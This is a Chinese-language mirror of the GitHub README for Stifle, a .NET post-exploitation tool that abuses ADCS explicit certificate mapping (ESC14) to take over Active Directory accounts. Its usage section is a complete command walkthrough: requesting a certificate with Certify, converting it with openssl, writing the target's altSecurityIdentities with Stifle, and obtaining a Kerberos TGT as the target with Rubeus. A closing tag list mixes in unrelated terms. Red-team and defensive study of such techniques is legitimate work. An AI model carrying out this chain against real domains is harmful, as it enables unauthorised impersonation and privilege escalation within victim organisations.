logangoins/Stifle

GitHub: logangoins/Stifle

Stifle 是一款利用 ADCS 显式证书映射(ESC14)技术实现域账户接管的 .NET 后渗透利用工具。

Stars: 150 | Forks: 12

# 描述 大约一年前,SpecterOps 的 Jonas Knudsen ([@Jonas_B_K](https://x.com/Jonas_B_K)) 发布了一篇题为“ADCS ESC14 Abuse Technique”的博客,介绍了一种此前已知的技术,该技术利用 Active Directory Certificate Services (ADCS) 通过显式证书映射实现多种类型的账户接管。他发布了一套 PowerShell 工具集,用于生成和写入 `altSecurityIdentities` 属性,作为该滥用技术主要变体的一部分。由于该技术可以被视为在持有对象的写入原语时进行账户接管的三种主要方法之一(另外两种是 RBCD 和 Shadow Credentials),我认为它需要相应的 .NET 工具支持,因为我注意到过去一年中没有任何相关发布。 隆重推出 Stifle,这是一个极简的 .NET 后渗透利用工具,它利用传入的证书在目标对象上设置显式证书映射,从而允许使用已持有的映射证书以目标对象身份进行身份验证。 ``` _____ _ _ __ _ / ____| | (_)/ _| | | (___ | |_ _| |_| | ___ \___ \| __| | _| |/ _ \ ____) | |_| | | | | __/ |_____/ \__|_|_| |_|\___| [*] Exploit explicit certificate mapping in Active Directory [*] Add an explicit certificate mapping on a target object by writing the required altSecurityIdentities value using a certificate and the certificate password: Stifle.exe add /object:target /certificate:MIIMrQI... /password:P@ssw0rd [*] Clear the altSecurityIdentities attribute, removing the explicit certificate mapping: Stifle.exe clear /object:target ``` # 使用 首先使用 Certify 申请一个将映射到目标对象的证书(注意申请的证书必须是计算机账户证书): ``` Certify.exe request /ca:lab.lan\lab-dc01-ca /template:Machine /machine ``` ![image](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/e30960ca0e121202.png) 然后将证书信息复制到 `.pem` 文件中,并在 Unix 系统上使用 openssl 二进制文件将其转换为 base64 `.pfx` 格式: ``` openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export | base64 -w 0 ``` 接下来将导出的证书和导出密码复制到 Stifle 中,它将生成证书映射字符串并将其写入目标对象的 `altSecurityIdentities` 属性: ``` Stifle.exe add /object:target /certificate:MIIMrQI... /password:P@ssw0rd ``` ![image](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/0bbd8d9f2d121204.png) 最后使用 PKINIT 认证申请 TGT,通过 Rubeus 有效地模拟目标用户: ``` Rubeus.exe asktgt /user:target /certificate:MIIMrQI... /password:P@ssw0rd ``` ![image](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/04155e952c121206.png)
标签:Active Directory, ADCS, altSecurityIdentities, Cloudformation, Conpot, CSV导出, ESC14, HTTP, M2M, Plaso, RBCD, Shadow Credentials, SpecterOps, Stifle, Terraform 安全, Windows安全, Write Primitive, 协议分析, 后渗透工具, 域渗透, 多人体追踪, 权限提升, 横向移动, 滥用访问控制, 电子数据取证, 编程规范, 证书映射, 证书服务, 超级时间线